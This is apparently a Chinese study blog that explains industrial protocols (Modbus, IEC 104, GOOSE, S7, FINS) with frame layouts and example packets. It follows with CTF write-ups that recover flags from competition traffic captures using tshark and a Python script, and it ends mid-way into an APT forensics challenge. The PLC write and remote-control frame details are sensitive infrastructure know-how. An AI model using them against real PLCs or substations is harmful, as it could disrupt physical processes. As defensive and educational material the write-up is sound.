常见工控协议
Modbus
Modbus是一种广泛应用于工业自动化领域的串行通信协议,由Modicon公司(现为施耐德电气)于1979年提出。它采用主从架构,支持多种物理层(如RS-232/RS-485、TCP/IP),协议简单、开放且易于实现。以下是其核心内容:
Modbus数据包构造
Modbus协议的数据包分为协议头(地址/事务标识)、功能码、数据域和错误校验部分,具体格式因传输模式(RTU/ASCII/TCP)而异。
Modbus RTU/ASCII(串行通信)
- RTU模式(二进制,更高效):[从站地址][功能码][数据][CRC校验]
- 从站地址:1字节(0-247,0为广播地址)。
- 功能码:1字节(如0x03读保持寄存器)。
- 数据:可变长度,取决于功能码。
- CRC校验:2字节(循环冗余校验)。
- ASCII模式(可读性高,效率低):
- 每个字节转换为ASCII字符,以冒号
:
开头,换行符结尾,校验方式为LRC。
- 每个字节转换为ASCII字符,以冒号
Modbus TCP(以太网)
[事务标识][协议标识][长度][单元标识][功能码][数据]
- 事务标识:2字节(用于请求/响应匹配)。
- 协议标识:2字节(0=Modbus TCP)。
- 长度:2字节(后续字段的字节数)。
- 单元标识:1字节(类似从站地址,用于网关转发)。
- 功能码+数据:与RTU相同。
核心功能码列表
Modbus定义了多种功能码,分为公共功能码(标准)、用户自定义码(预留范围)和异常响应码(功能码+0x80)。
功能码 | 名称 | 作用 | 访问类型 |
---|---|---|---|
0x01 | Read Coils | 读取线圈状态(ON/OFF) | 位(可读写) |
0x02 | Read Discrete Inputs | 读取离散输入状态(只读) | 位(只读) |
0x03 | Read Holding Registers | 读取保持寄存器(如设备参数) | 16位(可读写) |
0x04 | Read Input Registers | 读取输入寄存器(如传感器数据) | 16位(只读) |
0x05 | Write Single Coil | 写入单个线圈状态 | 位 |
0x06 | Write Single Register | 写入单个保持寄存器 | 16位 |
0x0F | Write Multiple Coils | 写入多个线圈 | 位 |
0x10 | Write Multiple Registers | 写入多个保持寄存器 | 16位 |
异常响应
当主站请求出错时,从站返回异常码(功能码 + 0x80),并附带1字节错误码:
- 示例:
0x83
(0x03读寄存器的异常响应) +0x02
(非法数据地址)。 - 常见错误码:
0x01
(非法功能码)、0x02
(非法数据地址)、0x03
(非法数据值)。
数据模型与地址映射
Modbus设备将数据分为4类,每种有独立的地址空间(不同协议文档可能编号不同):
数据类型 | 地址范围 | 功能码 | 示例地址 |
---|---|---|---|
线圈(Coils) | 00001-09999 | 0x01, 0x05, 0x0F | 00001(位) |
离散输入(Inputs) | 10001-19999 | 0x02 | 10001(位) |
保持寄存器(Holding) | 40001-49999 | 0x03, 0x06, 0x10 | 40001(字) |
输入寄存器(Input) | 30001-39999 | 0x04 | 30001(字) |
注意:实际设备中地址可能从0开始(如0x0000对应40001)。
示例数据包
Modbus RTU请求(读取保持寄存器)
- 主站发送:
[01][03][00][6B][00][03][76][87]
- 从站地址:0x01
- 功能码:0x03(读保持寄存器)
- 起始地址:0x006B(40044 – 40001 = 0x6B)
- 寄存器数量:0x0003
- CRC校验:0x7687
Modbus TCP响应(写入多个线圈)
- 从站返回:
[00][01][00][00][00][06][01][0F][00][04][00][0A]
- 事务标识:0x0001
- 协议标识:0x0000
- 长度:0x0006
- 单元标识:0x01
- 功能码:0x0F(写多线圈)
- 起始地址:0x0004(00005)
- 线圈数量:0x000A(10个)
104
IEC 60870-5-104(简称IEC 104)是国际电工委员会(IEC)制定的电力自动化通信协议,基于IEC 60870-5-101(串行通信)扩展至TCP/IP网络,广泛应用于智能电网(SCADA、变电站自动化等)。
协议概述
基本特点
- 网络层:基于TCP/IP(默认端口2404)。
- 通信模式:主站(控制中心)与子站(RTU/智能终端)的客户端-服务器模型。
- 数据模型:支持遥测(YC)、遥信(YX)、遥控(YK)、遥调(YT)等电力四遥功能。
- 传输方式:平衡式(允许子站主动上报)或非平衡式(仅主站轮询)。
与Modbus对比
特性 | IEC 104 | MODBUS TCP |
---|---|---|
应用领域 | 电力自动化(SCADA) | 工业控制(PLC、HMI) |
协议复杂度 | 高(支持时间戳、事件分类) | 低(简单数据读写) |
数据安全 | 支持链路层确认、超时重传 | 无内置安全机制 |
网络层 | TCP/IP(端口2404) | TCP/IP(端口502) |
数据包结构
IEC 104协议采用APDU(应用协议数据单元)结构,分为APCI(控制信息)和ASDU(应用服务数据单元)两部分。
APCI(传输控制头)
- 固定6字节,格式如下:[启动符68H][APDU长度][控制域1][控制域2][控制域3][控制域4]
- APDU长度:后续数据域的字节数(不包括启动符和长度本身)。
- 控制域:定义报文类型(如启动、确认、序号控制)。
ASDU(应用数据)
- 包含类型标识、可变结构限定词、传输原因、公共地址、信息体地址、数据等字段。
- 关键字段说明:字段长度说明类型标识1字节数据类型(如1=单点遥信,9=测量值归一化值)。可变结构限定词1字节信息体数量(最高位=1表示连续地址,否则离散地址)。传输原因2字节报文原因(1=周期上报,3=突发变位,6=激活确认)。公共地址2字节子站地址(通常为RTU编号)。信息体地址3字节数据点地址(如YX/YC的索引)。数据与时标可变数据值(如浮点数、状态量)和可选时间戳(7字节,精确到毫秒)。
核心功能与报文类型
控制域分类
IEC 104的控制域决定报文类型:
- I格式(信息传输):带序号的数据报文(如遥测、遥信)。
- S格式(确认):接收方对I格式报文的确认(仅含控制域)。
- U格式(控制命令):链路管理(如启动、停止、测试)。
典型ASDU类型
类型标识 | 名称 | 用途 |
---|---|---|
1 | 单点遥信(M_SP_NA_1) | 开关状态(0/1)。 |
9 | 归一化测量值(M_ME_NA_1) | 模拟量(如电压、电流,16位整数)。 |
13 | 浮点数测量值(M_ME_NC_1) | 带标度的浮点数(如功率)。 |
45 | 单点遥控(C_SC_NA_1) | 远程控制开关(选择/执行)。 |
100 | 对时命令(C_CS_NA_1) | 主站向子站同步时间。 |
通信流程示例
- 链路初始化:
- 主站发送U格式报文(STARTDT)激活连接。
- 子站回复U格式确认(STARTDT CON)。
- 数据查询:
- 主站发送总召唤命令(ASDU类型100)请求全数据。
- 子站分批次返回遥测、遥信数据(I格式报文)。
- 突发上报:
- 子站检测到开关变位时,主动发送ASDU类型1(单点遥信)。
- 遥控操作:
- 主站发送ASDU类型45(单点遥控),子站返回执行结果。
报文示例
总召唤命令(主站 → 子站)
68 0E 00 00 00 00 64 01 06 00 01 00 00 00 00 14
- APCI:
68 0E 00 00 00 00
(长度14,控制域全0,I格式)。 - ASDU:
- 类型标识:
64
(100,总召唤)。 - 传输原因:
01 06
(6=激活)。 - 公共地址:
00 01
(子站1)。 - 信息体地址:
00 00 00
(无具体地址)。 - 限定词:
14
(20=总召唤)。
- 类型标识:
单点遥信变位(子站 → 主站)
68 0F 00 00 02 00 01 01 03 00 01 00 00 01 01 00 00
- APCI:
68 0F 00 00 02 00
(长度15,发送序号2)。 - ASDU:
- 类型标识:
01
(单点遥信)。 - 传输原因:
01 03
(3=突发变位)。 - 公共地址:
00 01
(子站1)。 - 信息体地址:
00 00 01
(YX点1)。 - 数据:
01
(状态=ON)。
- 类型标识:
关键注意事项
- 时间同步:IEC 104要求严格时钟同步(ASDU类型100对时)。
- 通信安全:标准协议无加密,需依赖VPN/防火墙或扩展IEC 62351安全标准。
- 地址规划:信息体地址通常为3字节,需与子站数据库一致。
- 链路维护:定时发送测试帧(TESTFR)检测连接存活。
goose
GOOSE(通用面向对象的变电站事件)是IEC 61850标准中定义的一种高速、可靠的通信协议,主要用于变电站自动化系统(SAS)中的实时事件传输(如保护跳闸、开关变位)。其核心特点是基于发布/订阅模型、多播传输和极低延迟(毫秒级)。
GOOSE协议概述
核心特点
- 实时性:传输延迟通常 < 4ms,满足电力系统保护需求。
- 直接通信:设备间通过多播MAC地址直接交互,无需主站中转。
- 可靠性:
- 采用重传机制(报文在短时间内重复发送)。
- 支持报文生存时间(TTL)和序列号检测。
- 数据模型:基于IEC 61850-7-2的逻辑节点(LN)和数据对象(DO)。
与IEC 104的对比
特性 | GOOSE | IEC 104 |
---|---|---|
协议标准 | IEC 61850-8-1 | IEC 60870-5-104 |
通信模式 | 发布/订阅(多播) | 客户端/服务器(TCP单播) |
延迟 | 毫秒级(<4ms) | 十毫秒级(依赖轮询) |
应用场景 | 保护跳闸、快速开关控制 | 遥测、遥信、慢速控制 |
数据安全 | 支持IEC 62351加密(可选) | 无内置安全机制 |
GOOSE数据包结构
GOOSE报文直接封装在以太网帧中(OSI Layer 2),不依赖IP层,结构如下:
以太网帧头
字段 | 长度 | 说明 |
---|---|---|
目标MAC地址 | 6字节 | 多播地址(如01-0C-CD-01-00-00 ) |
源MAC地址 | 6字节 | 发送设备的MAC地址 |
EtherType | 2字节 | 0x88B8 (GOOSE专用标识) |
APDU(应用协议数据单元)
GOOSE的APDU采用ASN.1 BER编码,包含以下关键字段:
- GoosePDU:根标签,标识GOOSE报文。
- gocbRef(控制块引用):唯一标识GOOSE控制块(如
IED1/LLN0$GO$gcb01
)。 - timeAllowedToLive:报文生存时间(ms)。
- datSet:关联的数据集名称(如
IED1/LLN0$dsGOOSE1
)。 - goID:用户定义的GOOSE标识符。
- t:事件时间戳(UTC时间)。
- stNum(状态号):事件触发时递增。
- sqNum(序列号):同一状态下的重传序号。
- test:标识是否为测试报文。
- confRev:配置版本号(防止配置不一致)。
- ndsCom:是否需要配置确认。
- numDatSetEntries:数据集条目数。
- allData:实际传输的数据(如开关状态、测量值)。
GOOSE通信机制
报文传输模式
- 心跳报文:无事件时定期发送(如2秒间隔)。
- 事件触发:状态变化时立即发送,并快速重传(如间隔2ms、4ms、8ms)。
- 生存时间(TTL):接收方若在TTL内未收到新报文,判定通信中断。
订阅与发布
- 发布方(Publisher):如保护装置,配置GOOSE控制块(GoCB)。
- 订阅方(Subscriber):如智能终端,监听多播地址并解析数据。
数据绑定
GOOSE数据基于SCD文件(变电站配置描述文件)预先定义,例如:
<Inputs>
<ExtRef iedName="IED2" ldInst="PROT" lnClass="PTRC" doName="Tr" daName="general"/>
</Inputs>
表示订阅IED2的保护跳闸信号(Tr.general
)。
GOOSE报文示例
以太网帧抓包(Wireshark)
Destination: 01-0C-CD-01-01-01 (Multicast)
Source: 00-1E-C0-1A-01-00
Type: GOOSE (0x88B8)
Payload:
GoosePDU:
gocbRef: "IED1/LLN0$GO$gcb01"
timeAllowedToLive: 2000
datSet: "IED1/LLN0$dsGOOSE1"
goID: "TripSignal"
t: 2023-05-01T12:00:00.123Z
stNum: 5
sqNum: 0
test: FALSE
allData:
BOOLEAN(TRUE) // 开关跳闸信号
关键字段说明
- stNum=5:当前状态号(第5次变位)。
- sqNum=0:首次发送(事件触发时从0开始)。
- allData=TRUE:传输的布尔值(如保护跳闸信号)。
S7
S7协议是西门子(Siemens)为其S7系列PLC(如S7-300/S7-400/S7-1200/S7-1500)设计的专有工业通信协议,用于PLC之间、PLC与HMI/SCADA系统之间的数据交换。它基于OSI模型,通常运行在以太网(ISO-on-TCP)或MPI/PROFIBUS物理层上,是工业自动化领域最广泛使用的协议之一。
S7协议概述
核心特点
- 厂商专有:西门子私有协议,需官方库或逆向工程实现。
- 多子协议:包含S7 Basic(基本读写)、S7 Extended(高级功能)、S7 Communication(诊断/组态)等。
- 高效数据访问:支持批量读写、周期性通信。
- 安全机制:可配置访问密码(如PLC设防写保护)。
典型应用场景
- PLC与上位机(WinCC、TIA Portal)通信。
- PLC之间数据交换(如S7-1200与S7-1500)。
- 第三方设备(如机器人、仪表)集成。
协议栈与网络层
S7协议通常基于ISO-on-TCP(RFC 1006)运行,端口号默认为102。 协议栈分层:
|-----------------------------------------------|
| 应用层 | S7协议(功能码+数据区) |
|-----------------------------------------------|
| 表示层 | COTP(面向连接的传输协议) |
|-----------------------------------------------|
| 传输层 | ISO-on-TCP / TCP |
|-----------------------------------------------|
| 网络层 | IP |
|-----------------------------------------------|
| 物理层 | 以太网(RJ45) / PROFIBUS |
|-----------------------------------------------|
S7协议数据包结构
S7通信报文分为头部(Header)、参数(Parameter)和数据(Data)三部分。
报文头(Header)
- Protocol ID:
0x32
(固定标识S7协议)。 - Message Type:
0x01
:Job(主站请求)。0x02
:Ack(确认)。0x03
:Ack-Data(带数据的确认)。0x07
:User Data(如编程/诊断请求)。
- PDU Reference:报文序列号(防重复)。
- Parameter Length:参数区长度。
- Data Length:数据区长度。
参数区(Parameter)
根据功能码不同,参数区结构各异。常见功能码:
功能码 | 名称 | 作用 |
---|---|---|
0x04 | Read Var | 读取PLC数据(如DB块、M区) |
0x05 | Write Var | 写入PLC数据 |
0x1A | Request Download | 开始下载块(如OB、DB) |
0x1B | Download Block | 传输块数据 |
0x1C | Download End | 结束下载 |
0xF0 | Setup Communication | 建立通信连接 |
数据区(Data)
存储实际读写的数据,格式取决于数据类型(如BOOL、INT、REAL)。
关键功能详解
读取PLC数据(功能码0x04)
请求报文示例(读取DB100.DBW10开始的2个字):
Header:
32 01 00 00 00 1E 00 00 00 00 00 00 00 00 00 00
Parameter:
04 01 12 0A 10 01 00 01 00 00 84 00 00 64 00 00 00 00 00 00 00 00
- 参数解析:
04
:功能码(Read Var)。12
:变量个数(1个)。0A
:访问长度(2字节=WORD)。84
:存储区类型(0x84
=DB块)。64
:DB块号(100)。00 00
:偏移地址(DBW10)。
响应报文(返回数据0x1234
和0x5678
):
Data: 12 34 56 78
写入PLC数据(功能码0x05)
请求报文示例(写入MB20=0x55):
Parameter:
05 01 12 0A 10 01 00 01 00 00 83 00 00 14 00 00 00 00 00 00 00 00
Data: 55
- 参数解析:
83
:存储区类型(0x83
=M区)。14
:地址(MB20)。
存储区地址编码
S7协议使用特殊编码表示PLC存储区:
存储区 | 编码 | 示例地址 | 说明 |
---|---|---|---|
输入映像区(I) | 0x81 | 0x81 00 00 (I0.0) | 按位/字节/字访问。 |
输出映像区(Q) | 0x82 | 0x82 00 01 (Q0.1) | |
标志位区(M) | 0x83 | 0x83 00 20 (MB32) | |
数据块(DB) | 0x84 | 0x84 00 64 (DB100) | 需指定DB号。 |
定时器(T) | 0x85 | 0x85 00 0A (T10) | |
计数器(C) | 0x86 | 0x86 00 02 (C2) |
通信建立流程
- COTP连接:
- 主站发送
COTP Connection Request
(目标TSAP=PLC机架/槽号,如0x0100
)。
- 主站发送
- S7握手:
- 主站发送
Setup Communication
(功能码0xF0
)协商参数。
- 主站发送
- 数据交换:
- 读写操作(如周期读取DB块)。
Fins
FINS协议(Factory Interface Network Service)是欧姆龙(OMRON)公司开发的一种用于工业自动化设备的通信协议,主要用于PLC(可编程逻辑控制器)、传感器、伺服系统等设备之间的数据交换。它是欧姆龙自动化产品的核心通信协议之一,广泛应用于工厂自动化(FA)领域。
Fins协议的核心特点
- 应用场景
- 主要用于欧姆龙PLC(如CP/CJ/NJ系列)与其他设备(如HMI、上位机、机器人等)的通信。
- 支持以太网(FINS/UDP、FINS/TCP)、串行通信(RS-232/485)等物理层。
- 协议分层
- Fins协议位于应用层,底层可基于多种传输方式:
- FINS over Ethernet:默认端口为9600(UDP)或9600(TCP)。
- Host Link:基于串行通信的旧协议,Fins是其升级版。
- Fins协议位于应用层,底层可基于多种传输方式:
- 通信功能
- 读写PLC的内存区(如CIO区、DM区、WR区等)。
- 控制PLC运行状态(如启动/停止、强制I/O)。
- 监控设备状态、报警信息等。
- 数据格式
- 命令和响应基于二进制报文,结构包含:
- Header:目标/源网络地址、节点号、单元号。
- Command Code:如读(
0x0101
)、写(0x0102
)。 - 参数区:指定内存地址、数据长度等。
- 命令和响应基于二进制报文,结构包含:
FINS协议主要特性
- 分层结构:
- 基于OSI参考模型的3-7层实现
- 独立于物理层和链路层
- 网络透明性:
- 可以在不同网络(如Ethernet, Controller Link等)间无缝通信
- 通过网关实现跨网络通信
- 多设备通信:
- 支持一对多、多对多通信模式
- 每个设备有唯一的网络/节点地址
- 多种服务类型:
- 支持命令/响应通信
- 支持数据链路通信
- 支持广播通信
- 丰富的功能:
- 内存区读写
- 程序控制(启动/停止PLC等)
- 状态监控
- 时钟同步
- 错误检测:
- 包含详细的错误代码
- 支持重传机制
- 高效性:
- 二进制协议,传输效率高
- 支持大数据块传输
完备介绍链接
工控CTF中常见题型介绍(上) – FreeBuf网络安全行业门户
题解
modbus
2024年能源网络安全大赛个人赛决赛——工业流量二
拿到附件首先查看这个流量包大体上使用了哪些协议,由于本题题目为工业流量
,在显示的协议分级中只有modbus
属于工业控制类协议
于是过滤出只含有modbus
的数据包
题目描述有黑客在PLC中写入了flag,于是根据modbus
的协议特性,只有功能码05,06,15,16
具有写入功能
功能码 05 (Write Single Coil): 用于将一个单独的输出线圈的状态写入到从设备中。此功能码允许控制单个二进制输出(开/关状态)。
功能码 06 (Write Single Register): 用于写入单个寄存器的值。它允许通过Modbus协议向从设备的某个寄存器写入一个16位的数值。
功能码 15 (Write Multiple Coils): 用于一次写入多个输出线圈的状态。此功能码可以在一个请求中更改多个二进制输出的状态。
功能码 16 (Write Multiple Registers): 用于一次写入多个寄存器的值。它允许通过Modbus协议向从设备的多个寄存器写入数据。
导出对应的寄存器编号以及寄存器中写入的值
tshark -r sample.pcap -Y "(modbus.func_code == 16) and tcp.dstport==502 && (ip.dst == 192.168.4.80)" -e "modbus.regnum16" -T fields
tshark -r sample.pcap -Y "(modbus.func_code == 16) and tcp.dstport==502 && (ip.dst == 192.168.4.80)" -e "modbus.regval_uint16" -T fields
最终通过以上命令,将其对应的寄存器编号以及写入的值组合成元组,按升序进行排列得到flag图片
import struct
out1 = '''501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600
300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349
601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650
20,21,22,23,24,25,26,27,28,29,30
651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730
400,401,402,403,404,405,406,407,408,409,410
731,732,733,734,735,736,737,738,739,740,741
800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899
1020,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030
950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999'''
out2 = '''35152,20039,3338,6666,0,13,18760,17490,0,202,0,21,2050,0,136,28646,1280,1,43337,17473,21624,40173,39361,28356,8204,17463,22015,65431,59649,2489,7907,3108,56940,43897,10006,6619,14467,16858,41909,62994,41606,44967,4880,65305,51531,5154,31113,16932,12113,35044,9482,37308,17441,57313,60529,7293,53338,7139,65139,13632,24398,11964,6379,15832,7641,16957,39379,28610,39611,18886,26159,36901,37015,23523,60088,50288,25863,63143,46015,4715,9009,3261,35387,32311,31246,54672,34766,25393,27052,42714,29672,57140,13552,61978,6631,49860,21387,19138,15580,19688
2022,14230,24407,51417,53367,43434,45988,56534,22242,16708,26256,3965,43630,27296,31279,58771,37677,18394,62888,15466,41572,59268,62539,18159,37076,1443,63116,9402,31914,10314,640,362,25418,19391,47604,42030,35157,12299,9799,39015,21976,25878,20462,37811,13614,12607,61846,49399,49268,47255
34703,38328,25916,15313,37803,26357,6463,37827,46004,12283,58818,21306,15272,38945,56841,36045,11178,13247,48014,32635,55718,38295,55334,6854,16077,9148,26104,22653,7350,63315,53160,32306,40793,32112,21847,191,30502,31458,3525,14898,50255,51672,33909,46723,55750,11579,20347,45572,25029,28961
21704,5525,6603,23280,2557,34653,62021,49159,53649,46083,586
22986,17646,9046,22688,42952,5094,52592,6008,28361,22549,58445,25671,24235,4032,3742,62769,26282,37687,33625,50386,47775,59075,58524,56196,50982,56404,59623,31234,6129,62130,47090,26678,14569,11513,38430,24104,18732,48310,39067,5949,9144,4594,20071,28403,50272,5835,52684,39510,15880,40327,24560,54406,44102,52980,52671,59758,62162,31914,30091,21070,16366,15858,45735,59187,38276,52608,51571,28501,40351,16327,52701,19208,35838,5138,34120,24226,4297,19220,8825,35138
31233,8421,33855,27650,21086,0,0,18757,20036,44610,24706
32256,14820,53603,31138,59844,0,0,18757,20036,44610,24706
35152,20039,3338,6666,0,13,18760,17490,0,255,65280,21,2050,0,11,34589,31488,1,10825,17473,21624,40173,22737,3779,8200,54437,65535,52206,41225,24840,10090,15290,35963,29190,3768,621,22107,27429,61789,48290,5112,18340,59393,18641,912,41479,8261,3904,35358,32788,15616,10618,82,62464,42216,328,53507,28792,35946,44519,41397,18151,62439,27708,61118,50752,9275,65306,27990,57633,10202,16091,29095,37839,59718,34717,27702,60284,707,21676,62201,38919,40270,42680,47608,10248,31631,41968,61956,4805,34833,5175,58028,38762,3252,10305,48471,3392,57731,20007
31233,8421,33855,27650,21086,0,0,18757,20036,44610,24706
8144,6781,47248,36128,20925,47799,34232,15712,41049,23513,12467,45137,35669,28152,49490,48267,48864,46474,35737,13595,6752,32302,38584,61744,33721,10990,4652,23242,52213,8821,12846,60357,29151,43765,12387,39897,47789,3491,53137,28899,14713,57945,7993,24831,63201,49280,33720,5769,47340,31152'''
out1 = out1.replace('\n', ',').split(',')
out2 = out2.replace('\n', ',').split(',')
lst = [(int(a), int(b)) for a, b in zip(out1, out2) if int(a) > 500]
lst.sort(key=lambda x: x[0])
print(lst)
f = open('a.png', 'wb')
for k, v in lst:
bt = struct.pack(">H", v)
f.write(bt)
f.close()
数据预处理:
out1
和out2
是两个字符串,每个字符串包含了一些逗号分隔的数字(寄存器地址以及寄存器对应的值)。这两组数据分别经过了replace('\n', ',')
处理,去除换行符并将所有数据合并成一个长字符串,然后通过split(',')
方法将每个数字分割成列表元素,分别存储在out1
和out2
列表中。
数据筛选:
- 使用
zip(out1, out2)
对这两个列表中的每一对数字进行组合(假设out1
是寄存器地址,out2
是对应的值)。通过zip
合并成一个元组列表lst
。 - 然后通过
if int(a) > 500
条件筛选,筛选出地址大于 500 的寄存器地址和对应值。
数据排序:
- 筛选出的数据对存储在
lst
中。接着使用lst.sort(key=lambda x: x[0])
对这些数据按地址(x[0]
,即寄存器地址)进行升序排序。
数据写入文件:
- 最终,打开一个
a.png
文件以二进制模式 (wb
) 写入数据。 - 遍历排序后的
lst
,对每一个地址和值,使用struct.pack(">H", v)
将值v
打包成 2 字节的二进制数据(">H"
代表大端字节序的 16 位无符号整数)。然后将这些二进制数据写入文件。
文件输出:
- 代码将满足条件的数据以二进制形式写入
a.png
文件。这意味着在a.png
文件中,每个寄存器的值都会按二进制的形式存储,形成一个特定的格式(可能供其他程序解析)。
即:目的是从一组寄存器数据中筛选出地址大于 500 的寄存器,并将它们按地址升序排序后,写入一个二进制文件。
在工业自动化、控制系统或Modbus协议中,寄存器的地址通常是有特定用途的。可能某些寄存器地址(例如小于 500 的地址)被预先定义为保留地址或系统保留的特殊地址,不用于实际的用户数据存储或通信。例如,Modbus协议中可能使用低地址范围(如 0 到 499)来表示一些控制或配置寄存器,而用户数据可能会放置在较高的地址范围(如 500 以上)。
2024年能源网络安全大赛初赛——modbus
筛选出modbus
流量包
发现功能码全都是16,即写多个寄存器,于是查看每个寄存器地址以及对应的值是多少
第一个流量包
对应的ASCII值为f
,像是flag的起始位置,继续往下看
寄存器0
和1
所对应的ASCII值为l
和a
于是猜测剩余的数据会组成一个flag
利用tshark
将每个数据包的对应位置都提取出来
tshark -r modbus.pcapng -e modbus.regval_uint16 -T fields| sed '/^\s*$/d'
得到本题flag
如上图所示追踪modbus的TCP流量也可以找到flag
flag{ee92722f-973c-46c9-a05e-d5e9f3540529}
104
2024年能源网络安全大赛个人赛决赛——104协议
由题目可知本题考点大概是104协议即IEC 60870-5-104
打开数据包
首先是建立了TCP三次握手连接
接着就进行104协议建立电力自动化系统的通信会话,并完成初始化握手以及通过DHCP获取设备IP地址
STARTDT act
(激活):主站(如调度中心)发起连接请求,准备传输数据。STARTDT con
(确认):子站(如RTU/IED)响应确认,同意建立通信。
SSDP(Simple Service Discovery Protocol,简单服务发现协议) 的 M-SEARCH 请求报文,主要用于局域网(LAN)内的设备和服务发现。
使用_ws.col.protocol == "IEC 60870-5-104" || _ws.col.protocol == "IEC 60870-5 ASDU"
过滤命令筛选出仅含有104相关协议的数据包
1. 协议基础
- IEC 60870-5-104 是基于 TCP/IP 的远动协议,用于电力自动化系统。
- 帧类型:
- U帧(控制帧):用于链路管理(如启动、停止、测试)。
- I帧(信息帧):携带实际数据(ASDU)。
- S帧(确认帧):用于序列号确认。
2. 数据包逐条解析
(1) 链路建立与测试
NO. | TIME | 方向 | 类别 | 信息 | 说明 |
---|---|---|---|---|---|
11 | 3.061713 | -> | U | TESTER act | 主站发送测试激活帧(检查链路是否正常)。 |
16 | 12.906743 | <- | U | STARTDT act | 子站响应启动数据传输(同意建立通信)。 |
18 | 12.907128 | -> | U | STARTDT con | 主站确认启动数据传输(链路正式建立)。 |
(2) 数据传输(I帧)
- ASDU 类型:
M_ME_IF_1
(带时标的遥测值)和C_RD_NA_1
(读命令)。 - 关键字段:
- CauseTx=0:表示周期性数据传输。
- IOA=XX:信息对象地址(如
IOA=1
表示读取地址为1的数据)。
NO. | TIME | DIRECTION | TYPE | INFO | 说明 |
---|---|---|---|---|---|
28 | 23.530136 | <- | I | M_ME_IF_1 (IOA[6]=1) | 子站发送遥测数据(地址6的值)。 |
59 | 28.942485 | <- | I | M_ME_IF_1 (IOA=1) | 子站发送遥测数据(地址1的值)。 |
68 | 51.775937 | -> | I | C_RD_NA_1 Req (IOA=101) | 主站请求读取地址101的数据(命令请求)。 |
94 | 85.051368 | <- | I | C_RD_NA_1 Req (IOA=90) | 子站响应读命令。 |
(3) 确认帧(S帧)
NO. | TIME | DIRECTION | TYPE | INFO | 说明 |
---|---|---|---|---|---|
64 | 43.222917 | -> | S | (5) | 主站确认已收到序列号5之前的I帧。 |
70 | 61.846458 | <- | S | (1) | 子站确认已收到序列号1之前的I帧。 |
3. 关键行为分析
- 链路管理:
- 通过
U帧
完成链路启动(STARTDT
)和测试(TESTER
)。
- 通过
- 数据传输:
- 子站主动上报遥测数据(
M_ME_IF_1
),主站发送读命令(C_RD_NA_1
)。 - 问题点:部分读命令(如
IOA=255
)可能是无效地址或测试行为。
- 子站主动上报遥测数据(
- 流量控制:
- 使用
S帧
确认已接收的I帧序列号,确保数据可靠性。
- 使用
1. APCI(应用协议控制信息)
字段 | 值/二进制表示 | 说明 |
---|---|---|
Type | I (0x0) | 帧类型为 I帧(信息帧),携带实际数据(ASDU)。 |
Tx (发送序列号) | 7 (二进制 0111 ) | 当前发送的I帧序列号为7,用于流量控制(需对方通过S帧确认)。 |
Rx (接收序列号) | 9 (二进制 1001 ) | 表示发送方已正确接收到序列号9之前的所有I帧(期待下一次从9开始接收)。 |
2. ASDU(应用服务数据单元)
(1)ASDU 头部
字段 | 值 | 说明 |
---|---|---|
TypeId | C_RD_NA_1 (102) | 类型标识符,表示这是一个 读命令请求(读取归一化值)。 |
SQ (结构限定词) | False | 信息对象地址不连续(每个对象单独列出地址)。 |
NumTx | 1 | 信息对象数量为1(仅读取一个地址)。 |
CauseTx | Req (5) | 传输原因为 请求(主动发起读操作)。 |
Negative | False | 无否定确认(正常请求)。 |
Test | False | 非测试模式(真实操作)。 |
OA (公共地址) | 0 | 公共地址为0(通常表示主站或默认地址)。 |
Addr | 1 | 地址字段为1(可能表示子站地址或组地址)。 |
(2)信息对象(Information Object)
字段 | 值 | 说明 |
---|---|---|
IOA | 109 | 信息对象地址为109(具体指向设备中的某个寄存器或遥测量)。 |
3. 关键参数作用总结
- C_RD_NA_1 (102): 表示主站向子站请求读取一个归一化值(如遥测数据),子站需返回对应地址的数据。
- CauseTx=5 (Req): 标识该数据包是主动请求(非周期性上报或响应)。
- IOA=109: 需检查子站配置,确认地址109是否映射到有效的设备寄存器(如电流、电压等遥测量)。
4. 完整报文流程解析
- 主站发送读命令:
- 请求读取子站地址109的数据(
C_RD_NA_1
)。 - 序列号管理:当前发送帧号=7,已确认接收帧号=9。
- 请求读取子站地址109的数据(
- 子站预期响应:
- 子站应返回一个
M_ME_NA_1
(归一化遥测值)或M_ME_TF_1
(带时标的遥测值)报文,包含地址109的数据。 - 若地址无效,可能返回否定确认(CauseTx=44)。
94-164
,从站发了27个数据,将数据对应的IOA提取出来tshark -r 104_2.pcapng -Y 'iec60870_104' -e "iec60870_asdu.ioa" -T fields | ? {$_.trim() -ne "" }
进行Base64解码得到了flag - 子站应返回一个
Http
2024年能源网络安全大赛个人赛决赛——APT窃密事件溯源
某单位遭遇威胁组织攻击,威胁组织对攻陷的主机进行了信息收集并窃取机密信息,安防设备捕获到攻击流量(hack.pcap),结合提供的开源APT分析报告,研判发起本次攻击事件的APT组织窃取的文件。flag格式为flag{}
拿到附件发现有一个hack.pcap
的流量包以及相关APT攻击文档
首先分析文档内容,使用Kimi大模型来总结文档内容
